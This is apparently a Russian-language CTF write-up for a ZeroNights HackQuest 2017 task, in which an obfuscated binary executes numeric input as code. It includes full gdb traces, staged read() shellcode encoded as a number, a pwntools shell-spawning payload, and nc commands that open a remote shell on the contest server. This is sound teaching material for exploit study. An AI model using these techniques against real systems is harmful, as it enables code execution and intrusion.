Skip to content

Instantly share code, notes, and snippets.

@AlekseyCherepanov
Last active November 6, 2017 11:08
Show Gist options
  • Save AlekseyCherepanov/ac811ba4ac89cb556ab13f1a0dabcace to your computer and use it in GitHub Desktop.
Save AlekseyCherepanov/ac811ba4ac89cb556ab13f1a0dabcace to your computer and use it in GitHub Desktop.
Write-up for Day 6 of ZeroNights HackQuest 2017

Структура райтапа

  • Задача
  • Краткое описание решения
  • Использованные инструменты
  • Полезные идеи
  • Подробное решение с полными командами

TL;DR: 7 байт от одного числа достаточно для read(0, stack, big_N), чтобы дослать новый код и вызвать командную оболочку. Но первое рабочее решение было устроено сложней...

Задача

Day 6 / Strange command server

Some server receives commands in a very strange format. We have some command for it and its sources.

It is located on   nc spbctf.ppctf.net 5353

Get the flag!

(If task lags, ask @awengar on telegram. After solvin the task please tell @awengar how much time did you spend) This task was prepared by RuCTFe

Содержимое hq2017_task6_test.txt:

5
13644205794.0 385557128.099 -566484950.0 -385556280.099 -12510807118.0

hq2017_task6_m116 - не исходный код, а бинарный файл:

$ file hq2017_task6_m116
hq2017_task6_m116: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, stripped
$ sha256sum hq2017_task6_m116
65d94868039be955bbb7774b4dea01d7404ce3bda6250343a109900b5dd68007  hq2017_task6_m116

Краткое описание решения

Нам дано два файла: текстовый файл с числами и ELF для Linux x86-64 (спасибо утилите file). Текстовый файл очень простой. Сразу видно, что первое число - количество следующих чисел. ELF маленький, это приятно. Сразу пробуем декомпилировать его при помощи snowman - результат запутанный. Дизассемблируем код при помощи objdump - результат запутанный: есть много ненужных прыжков.

Наиболее перспективным кажется не использовать статический анализ, а попробовать понять, что происходит методом чёрного ящика: если там есть перекодирование, то надо найти выходной буфер и посмотреть значения для разных значений ввода. Хотя сначала надо понять, что вообще происходит: как backdoor выполняет команды? Там интерпретатор?

Пробуем запустить в виртуальной машине с тестовым вводом из данного нам текстового файла - работает, выводит "cafebabe". Но в коде нет "cafebabe". Запускаем сбор трейса для тестового ввода, следя только за jmp и call инструкциями. В трейсе явно выделяется необычная инструкция: callq *-0x20(%rbp), хотя есть и другие странности.

Пробуем менять ввод. Добавляем 1 к последней цифре последнего числа - ничего не изменилось. Убираем первую цифру последнего числа - краш с SIGILL. Это интересно! Запускаем под gdb и повторяем ввод: адрес инструкции, на которой программа получает SIGILL, находится в стеке. Запускаем checksec: NX выключен. Ставим breakpoint на ту странную инструкцию, делаем 1 шаг по инструкциям и оказываемся как раз в том буфере в стеке, где программа крашится. Всё сошлось: наш ввод перекодируется в бинарный код и выполняется. Несмотря на то, что буфер в стеке, его адрес легко задать для дебаггера: это rip ($pc) после выполнения той необычной инструкции.

Для ускорения анализа нам потребуется команда, чтобы прогонять под gdb программу с заданным вводом и выводить 16 байт от начала буфера. Пробуем менять количество чисел: во-первых, мы можем не давать все числа и программа не ждёт ввода до первого срабатывания breakpoint'а, во-вторых, количество чисел лежит в стеке через 4 байта после нашего буфера. Пробуем при количестве 4 давать разные значения одного числа: если подавать маленькие числа подряд, то видно, что в буфере получается целое число в 6 раз меньше заданного; если пробовать увеличивать ввод, то это преобразование сохраняется.

Так что грубая оценка количество контролируемых байт такая: 8 байт в буфере и, возможно, ещё 8 байт через количество элементов, но потребуется прыжок; итого - где-то 16 байт кода. 16 байт - маловато для вызова командной оболочки (без модификаций шеллкода), но вполне достаточно, чтобы использовать системный вызов read, чтобы записать новый код, который уже вызовет командную оболочку.

Пробуем указать очень большое количество чисел - получаем SIGSEGV, так что оценка неточная. Нужен короткий код вызова read. Например, shellcode на 8 байт:

  • push rdx ; pop rax - копируем ноль из rdx в rax через стек,
  • pop rdx - в rdx кладём большое число из стека,
  • pop rsi - в rsi кладём адрес буфера, который тоже оказался в стеке,
  • push rbx ; pop rdi - копируем ноль из rbx в rdi через стек,
  • syscall - задействуем системный вызов. Это должно влезть в одно число, но выясняется, что младший байт из 8 не может быть произвольным. Так что реально мы контролируем только 7 байт в первом куске.

У нас возможность положить часть кода недалеко от буфера, указав другое количество чисел. Но нам нужен прыжок между частями. Короткий прыжок занимает 2 байта. Отделяем последние 3 байта кода (pop rdi ; syscall). Количество чисел не надо кодировать, так что нужное значение - 331615. Но количество чисел влияет на кодирование кода в самих числах. Попробуем угадать делитель - 331615 * 2: старшие байты в буфере такие, как надо, а младшие - нет. Младшие байты легко подобрать половинным делением.

Теперь нужен код, который будет выполняться дальше. Нужный shellcode есть в pwntools. Но в момент записи нового кода выполнение уже на конце буфера, а пишем мы с самого начала, так что первые байты нового ввода не будут выполнены. Можно дополнить shellcode инструкциями nop: даже если ошибиться с количеством, они приведут выполнение в нужное место.

И вот наша награда:

user@ctf:~$ printf '331615\n1105016229177322000000.0\n' > input
user@ctf:~$ python -c 'from pwn import *; context.arch = "x86_64"; print asm("nop") * 200 + asm(shellcraft.amd64.linux.sh())' > payload
user@ctf:~$ (cat input; sleep 1; cat payload; sleep 1; echo ls) | nc spbctf.ppctf.net 5353
flag.txt
m116
run.sh
run_image.sh
runserver.sh
^C
user@ctf:~$ (cat input; sleep 1; cat payload; sleep 1; echo cat flag.txt) | nc spbctf.ppctf.net 5353
H0P3_U_3Nj0Y3D_OU12_OBFUSKATOR

Флаг был получен с сервера и отправлен на сайт через 3 часа 51 минуту после официального начала.

Однако это решение можно упростить: инструкция 'xchg eax, edx' обнуляет rax целиком в один байт вместо двух и можно обойтись без использования количества чисел и прыжка между частями. Пример ввода: 2 2848553957111076.0. Так же это может позволить избавиться от использования чисел в стеке.

Использованные инструменты

Все использованные инструменты являются свободным программным обеспечением. Всё, кроме snowman, pwntools и ROPgadget, доступно в Debian из стандартного репозитория и ставится "в два клика".

  • виртуальная машина с Debian - чтобы не запускать код у себя,
  • file - для определения типа файла,
  • strings - для просмотра строк в бинарных файлах (не помогло),
  • snowman - для декомпиляции кода (не помогло),
  • objdump - для дизассемблирования кода,
  • readelf - для определения точки входа программы,
  • strace и ltrace - для простого исследования поведения программы (не помогло),
  • gdb - для исследования поведения программы вручную, записи трейса и отладки решения,
  • python - для разных вещей, включая использование pwntools,
  • pwntools:
    • asm() - для ассемблирования shellcode'а,
    • disasm() - для исследования своего shellcode'а,
    • shellcraft.amd64.linux.sh() - для получения стандартного shellcode'а для вызова командной оболочки,
  • Perl, cat, sed, grep и другие стандартные утилиты, а так же встроенные команды оболочки bash - для организации всего и мелкой автоматизации,
  • ROPgadget - для поиска дополнительного кода в дампе стека (не помогло),
  • man 2 read - для просмотра документации по системному вызову read,
  • emacs - для ведения записок и управления терминалами через shell-mode.

Полезные идеи

  • CTF'ы - потрясающая среда для самообучения с игрофикацией и соревновательным элементом. Про это есть даже отдельные доклады. Сейчас онлайн CTF'ы проходят почти каждую неделю.

  • ZeroNights HackQuest - конкурс с уникальным форматом: даётся 1 сложная интересная задача в день и каждый день можно стать победителем. В процессе решения можно многому научиться. Задачи в HackQuest'е выталкивают решающего на совершенно новый уровень. Это особенное чувство!

  • Выключенный NX - это хорошо для атакующего.

  • В части задач проще определить связь между входом и выходом кода по значениям, нежели по коду. В части случаев можно подобрать вход для желаемого выхода, не понимая связь. Однако это требует понимания, где выход (а иногда и понимая, где вход).

  • Обычный shellcode относительно большой, потому что не зависит от окружения. Используя имеющиеся значения регистров и чисел в стеке, его можно сильно сократить.

  • Если мы управляем 6-8 байтами кода и нам чуть-чуть повезло с окружением (регистры и/или стек), то мы уже можем сделать системный вызов read. Если ввод не закрыт, это даёт много возможностей.

  • Имея произвольный read и возможность записи кода, можно дослать shellcode для вызова командной оболочки.

  • Новый shellcode можно записать поверх старого кода и продолжить выполнение в новом коде без каких-либо дополнительных инструкций.

  • Имея произвольный read и не имея возможности записи нового кода, можно попробовать записать ROP-chain в стек (например, для задачи tiny backdoor v2 в HackOver CTF 2016).

  • Простая автоматизация gdb: printf '...' > input && printf 'run < input \n ...' | gdb ...

  • Простой трейсер с gdb (не всегда применим, потому что цикл может завершиться досрочно): printf '... \n while 1 \n x/1i $pc \n si \n end \n' | gdb ...

  • shellcode можно разбить на части, соединённые прыжками. Короткий прыжок вперёд (пропуская до 127 байт) занимает 2 байта. Прыжок можно ассемблировать при помощи pwntools, используя метку и nop'ы на месте "мусора", который пропускается. Прыжок через 1 байт: asm('jmp L ; nop ; L: nop'), nop'ы потом надо обрезать.

  • Примерный список однобайтовых инструкций можно получить перебором с pwntools: for i in range(256): print disasm(chr(i))

  • xchg eax, edx на x86-64 занимает 1 байт. Помимо очевидного действия эта инструкция обнуляет старшую половину rax (и rdx). Так что при rdx равном 0 это обнуляет rax.

Подробное решение с полными командами

В примерах ниже вывод сокращён до нужного. Символы табуляции могут быть заменены на пробелы. Так же могут быть пропущены пустые строки. hq2017_task6_m116 переименовано в m1. По сравнению с реальным решением, команды немного улучшены, чтобы быть более переносимыми, но не все переносимы. К сожалению, длинные one-liner'ы выглядят не лучшим образом в браузере (можно выключить стили или посмотреть текстовую версию).

Ищем точку входа:

user@ctf:~$ readelf -a m1
...
  Entry point address:               0x400710
...

Собираем трейс:

user@ctf:~$ printf 'break *0x400710 \n set pagination off \n run < hq2017_task6_test.txt \n while 1 \n x/1i $pc \n si \n end' | gdb ./m1 | grep -e call -e jmp
...
=> 0x4009ae:	callq  *-0x20(%rbp)
...
=> 0x400ac8:	callq  0x4006a0 <printf@plt>
...

Смотрим аргумент printf'а:

user@ctf:~$ gdb ./m1
...
(gdb) break printf
Breakpoint 1 at 0x4006a0
(gdb) run < hq2017_task6_test.txt
...
Breakpoint 1, __printf (format=0x6021b7 "%x\n") at printf.c:28
(gdb) info regi
...
rsi            0xcafebabe	3405691582
rdi            0x6021b7	6300087
...
(gdb) finish
Run till exit from #0  __printf (format=0x6021b7 "%x\n") at printf.c:28
cafebabe
0x0000000000400acd in ?? ()
...

Изучаем SIGILL, удалив первую цифру последнего числа:

user@ctf:~$ printf '5\n13644205794.0 385557128.099 -566484950.0 -385556280.099 -2510807118.0\n' > input && printf 'set pagination off \n run < input \n info regis \n x/10i $pc \n' | gdb ./m1
...
Program received signal SIGILL, Illegal instruction.
...
rip            0x7fffffffe58a	0x7fffffffe58a
...
(gdb) => 0x7fffffffe58a:	(bad)  
   0x7fffffffe58b:	rex.WX retq 
   0x7fffffffe58d:	retq   

Пробуем подойти к этому через ту странную инструкцию 0x4009ae: callq *-0x20(%rbp):

user@ctf:~$ printf '5\n13644205794.0 385557128.099 -566484950.0 -385556280.099 -2510807118.0\n' > input && printf 'set pagination off \n break *0x4009ae \n run < input \n si \n info regis \n x/10i $pc \n' | gdb ./m1
...
Breakpoint 1, 0x00000000004009ae in ?? ()
...
rip            0x7fffffffe588	0x7fffffffe588
...
(gdb) => 0x7fffffffe588:	mov    $0x4e,%cl
   0x7fffffffe58a:	(bad)  
   0x7fffffffe58b:	rex.WX retq 
   0x7fffffffe58d:	retq   

Так что 0x7fffffffe588 выше - адрес нашего буфера в стеке (может различаться на разных системах). Посмотрим, где он находится, полагаясь на то, что gdb обеспечивает стабильные адреса. Он находится в стеке, так что сделаем дамп стека.

user@ctf:~$ gdb ./m1
...
(gdb) run
Starting program: /home/user/m1 
^C
...
(gdb) info proc
process 26241
...
(gdb) ! cat /proc/26241/maps
...
7ffffffde000-7ffffffff000 rwxp 00000000 00:00 0 [stack]
...
(gdb) p 0x7fffffffe588 > 0x7ffffffde000 && 0x7fffffffe588 < 0x7ffffffff000
$1 = 1
(gdb) dump binary memory bin01 0x7ffffffde000 0x7fffffffefff
...

Вызов ROPgadget для дампа (хотя это не нужно для решения):

user@ctf:~$ ~/.local/bin/ROPgadget --binary bin01 --rawMode=64 --rawArch=x86
...

Смотрим checksec: NX выключен.

user@ctf:~$ ./checksec.sh/checksec --format json --file m1
...,"nx":"no",...

Автоматизируем показ выходного буфера с кодом и пробуем менять указанное количество чисел (0x4142 == 16706):

user@ctf:~$ printf '5\n0.0\n' > input && printf 'set pagination off \n break *0x4009ae \n run < input \n si \n x/16xb $pc \n' | gdb ./m1 | sed -e 's/(gdb) //; s/\t/  /g' | grep '^0x[a-f0-9]\+:'
0x7fffffffe588:  0x00  0xc3  0xc3  0xc3  0x00  0x00  0x00  0x00
0x7fffffffe590:  0xd1  0xe0  0xff  0xff  0x05  0x00  0x00  0x00
user@ctf:~$ printf '4\n0.0\n' ...
0x7fffffffe588:  0x00  0xc3  0xc3  0xc3  0x00  0x00  0x00  0x00
0x7fffffffe590:  0xd1  0xe0  0xff  0xff  0x04  0x00  0x00  0x00
user@ctf:~$ printf '16706\n0.0\n' ...
0x7fffffffe588:  0x00  0xc3  0xc3  0xc3  0x00  0x00  0x00  0x00
0x7fffffffe590:  0xd5  0xe0  0xff  0xff  0x42  0x41  0x00  0x00

Пробуем одно число с количеством чисел 4. Легко заметить, что значение в буфере растёт на 1 при увеличении ввода на 6.

user@ctf:~$ seq 1000 | while read -r a; do printf '4\n%s.0\n' "$a" > input && printf 'set pagination off \n break *0x4009ae \n run < input \n si \n x/8xb $pc \n' | gdb ./m1 | sed -e 's/(gdb) //; s/\t/  /g' | grep '^0x[a-f0-9]\+:' ; done
0x7fffffffe588:  0x00  0xc3  0xc3  0xc3  0x00  0x00  0x00  0x00
0x7fffffffe588:  0x00  0xc3  0xc3  0xc3  0x00  0x00  0x00  0x00
0x7fffffffe588:  0x01  0xc3  0xc3  0xc3  0x00  0x00  0x00  0x00
0x7fffffffe588:  0x01  0xc3  0xc3  0xc3  0x00  0x00  0x00  0x00
0x7fffffffe588:  0x01  0xc3  0xc3  0xc3  0x00  0x00  0x00  0x00
0x7fffffffe588:  0x01  0xc3  0xc3  0xc3  0x00  0x00  0x00  0x00
0x7fffffffe588:  0x01  0xc3  0xc3  0xc3  0x00  0x00  0x00  0x00
0x7fffffffe588:  0x01  0xc3  0xc3  0xc3  0x00  0x00  0x00  0x00
0x7fffffffe588:  0x02  0xc3  0xc3  0xc3  0x00  0x00  0x00  0x00
...

Пробуем ещё числа вручную. Даже с 7 байтами у нас появляется небольшое расхождение с ожидаемым значением. (Вывод перемешан с умножением в оболочке Python)

user@ctf:~$ while read -r a; do printf '4\n%s.0\n' "$a" > input && printf 'set pagination off \n break *0x4009ae \n run < input \n si \n x/8xb $pc \n' | gdb ./m1 | sed -e 's/(gdb) //; s/\t/  /g' | grep '^0x[a-f0-9]\+:' ; done
>>> 0x41 * 6
390
0x7fffffffe588:  0x41  0xc3  0xc3  0xc3  0x00  0x00  0x00  0x00
>>> 0x4142 * 6
100236
0x7fffffffe588:  0x42  0x41  0xc3  0xc3  0xc3  0x00  0x00  0x00
>>> 0x414243 * 6
25660818
0x7fffffffe588:  0x43  0x42  0x41  0xc3  0xc3  0xc3  0x00  0x00
>>> 0x41424344 * 6
6569169816
0x7fffffffe588:  0x44  0x43  0x42  0x41  0xc3  0xc3  0xc3  0x00
>>> 0x4142434445 * 6
1681707473310
0x7fffffffe588:  0x45  0x44  0x43  0x42  0x41  0xc3  0xc3  0xc3
>>> 0x414243444546 * 6
430517113167780
0x7fffffffe588:  0x46  0x45  0x44  0x43  0x42  0x41  0xc3  0xc3
>>> 0x41424344454647 * 6
110212380970952106
0x7fffffffe588:  0x48  0x46  0x45  0x44  0x43  0x42  0x41  0x00
>>> 0x4142434445464748 * 6
28214369528563739568L
0x7fffffffe588:  0x00  0x48  0x46  0x45  0x44  0x43  0x42  0x41
>>> 0x1234567890112233 * 6
7870610803708579122
0x7fffffffe588:  0x00  0x22  0x11  0x90  0x78  0x56  0x34  0x12

Для разработки shellcode'а, использующего контекст, нам понадобятся значения регистров и содержимое стека.

user@ctf:~$ printf '4\n1.0\n' > input && printf 'set pagination off \n break *0x4009ae \n run < input \n si \n x/4xg $rsp \n info reg \n' | gdb ./m1 | sed -e 's/(gdb) //'
...
0x00007fffffffe588 in ?? ()
0x7fffffffe528:	0x00000000004009b1	0x00007fffffffe588
0x7fffffffe538:	0x3fc5555555555555	0x000000000000007c
rax            0x7fffffffe500	140737488348416
rbx            0x0	0
rcx            0xc3c3c300	3284386560
rdx            0x0	0
rsi            0x7fffffffe6d0	140737488348880
rdi            0x400710	4196112
rbp            0x7fffffffe5a0	0x7fffffffe5a0
rsp            0x7fffffffe528	0x7fffffffe528
r8             0x0	0
r9             0x7ffff787ec60	140737346268256
r10            0x7fffffffe2f0	140737488347888
r11            0x7ffff7b01530	140737348900144
r12            0x400710	4196112
r13            0x7fffffffe6d0	140737488348880
r14            0x0	0
r15            0x0	0
rip            0x7fffffffe588	0x7fffffffe588
...

Первые два значения в стеке: 0x00000000004009b1 - адрес возврата из shellcode'а, 0x00007fffffffe588 - адрес буфера с нашим кодом.

Используем pwntools для создания второй части shellcode'а:

>>> from pwn import *
>>> context.arch = "x86_64"
>>> print asm('pop rdi; syscall')[::-1].encode('hex')
050f5f
>>> 0x050f5f
331615

Используем pwntools для создания первой части shellcode'а с прыжком: 5 байт кода, 2 байта - прыжок через 5 байт, nop'ы ("90" в hex). nop'ы надо отрезать.

>>> print asm('push rdx ; pop rax ; pop rdx ; pop rsi ; push rbx ; jmp L ; nop ; nop ; nop ; nop ; nop ; L: nop')[::-1].encode('hex')
90909090909005eb535e5a5852
>>> 0x05eb535e5a5852 * 331615 * 2
1105019561413684439260L

Пробуем полученные числа в цикле, чтобы было удобно исправлять:

user@ctf:~$ while read -r a; do printf '331615\n%s.0\n' "$a" > input && printf 'set pagination off \n break *0x4009ae \n run < input \n si \n x/8xb $pc \n' | gdb ./m1 | sed -e 's/(gdb) //; s/\t/  /g' | grep '^0x[a-f0-9]\+:' ; done
1105019561413684439260
0x7fffffffe588:  0xf1  0x9d  0xd2  0x89  0x54  0xeb  0x05  0x00
...
1105016229177322000000
0x7fffffffe588:  0x52  0x58  0x5a  0x5e  0x53  0xeb  0x05  0x00

Осталось только применить:

user@ctf:~$ printf '331615\n1105016229177322000000.0\n' > input
user@ctf:~$ python -c 'from pwn import *; context.arch = "x86_64"; print asm("nop") * 200 + asm(shellcraft.amd64.linux.sh())' > payload
user@ctf:~$ (cat input; sleep 1; cat payload; sleep 1; echo ls) | nc spbctf.ppctf.net 5353
flag.txt
m116
run.sh
run_image.sh
runserver.sh
^C
user@ctf:~$ (cat input; sleep 1; cat payload; sleep 1; echo cat flag.txt) | nc spbctf.ppctf.net 5353
H0P3_U_3Nj0Y3D_OU12_OBFUSKATOR

Примерный список однобайтовых инструкций x86-64:

>>> for c in (c for c in (disasm(chr(i)) for i in range(256)) if '.byte' not in c and '(bad)' not in c): print c
   0:
   0:   26                      es
   0:   2e                      cs
   0:   36                      ss
   0:   3e                      ds
   0:   40                      rex
   0:   41                      rex.B
   0:   42                      rex.X
   0:   43                      rex.XB
   0:   44                      rex.R
   0:   45                      rex.RB
   0:   46                      rex.RX
   0:   47                      rex.RXB
   0:   48                      rex.W
   0:   49                      rex.WB
   0:   4a                      rex.WX
   0:   4b                      rex.WXB
   0:   4c                      rex.WR
   0:   4d                      rex.WRB
   0:   4e                      rex.WRX
   0:   4f                      rex.WRXB
   0:   50                      push   rax
   0:   51                      push   rcx
   0:   52                      push   rdx
   0:   53                      push   rbx
   0:   54                      push   rsp
   0:   55                      push   rbp
   0:   56                      push   rsi
   0:   57                      push   rdi
   0:   58                      pop    rax
   0:   59                      pop    rcx
   0:   5a                      pop    rdx
   0:   5b                      pop    rbx
   0:   5c                      pop    rsp
   0:   5d                      pop    rbp
   0:   5e                      pop    rsi
   0:   5f                      pop    rdi
   0:   64                      fs
   0:   65                      gs
   0:   66                      data16
   0:   67                      addr32
   0:   6c                      ins    BYTE PTR es:[rdi],dx
   0:   6d                      ins    DWORD PTR es:[rdi],dx
   0:   6e                      outs   dx,BYTE PTR ds:[rsi]
   0:   6f                      outs   dx,DWORD PTR ds:[rsi]
   0:   90                      nop
   0:   91                      xchg   ecx,eax
   0:   92                      xchg   edx,eax
   0:   93                      xchg   ebx,eax
   0:   94                      xchg   esp,eax
   0:   95                      xchg   ebp,eax
   0:   96                      xchg   esi,eax
   0:   97                      xchg   edi,eax
   0:   98                      cwde
   0:   99                      cdq
   0:   9b                      fwait
   0:   9c                      pushf
   0:   9d                      popf
   0:   9e                      sahf
   0:   9f                      lahf
   0:   a4                      movs   BYTE PTR es:[rdi],BYTE PTR ds:[rsi]
   0:   a5                      movs   DWORD PTR es:[rdi],DWORD PTR ds:[rsi]
   0:   a6                      cmps   BYTE PTR ds:[rsi],BYTE PTR es:[rdi]
   0:   a7                      cmps   DWORD PTR ds:[rsi],DWORD PTR es:[rdi]
   0:   aa                      stos   BYTE PTR es:[rdi],al
   0:   ab                      stos   DWORD PTR es:[rdi],eax
   0:   ac                      lods   al,BYTE PTR ds:[rsi]
   0:   ad                      lods   eax,DWORD PTR ds:[rsi]
   0:   ae                      scas   al,BYTE PTR es:[rdi]
   0:   af                      scas   eax,DWORD PTR es:[rdi]
   0:   c3                      ret
   0:   c9                      leave
   0:   cb                      retf
   0:   cc                      int3
   0:   cf                      iret
   0:   d7                      xlat   BYTE PTR ds:[rbx]
   0:   ec                      in     al,dx
   0:   ed                      in     eax,dx
   0:   ee                      out    dx,al
   0:   ef                      out    dx,eax
   0:   f0                      lock
   0:   f1                      icebp
   0:   f2                      repnz
   0:   f3                      repz
   0:   f4                      hlt
   0:   f5                      cmc
   0:   f8                      clc
   0:   f9                      stc
   0:   fa                      cli
   0:   fb                      sti
   0:   fc                      cld
   0:   fd                      std
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment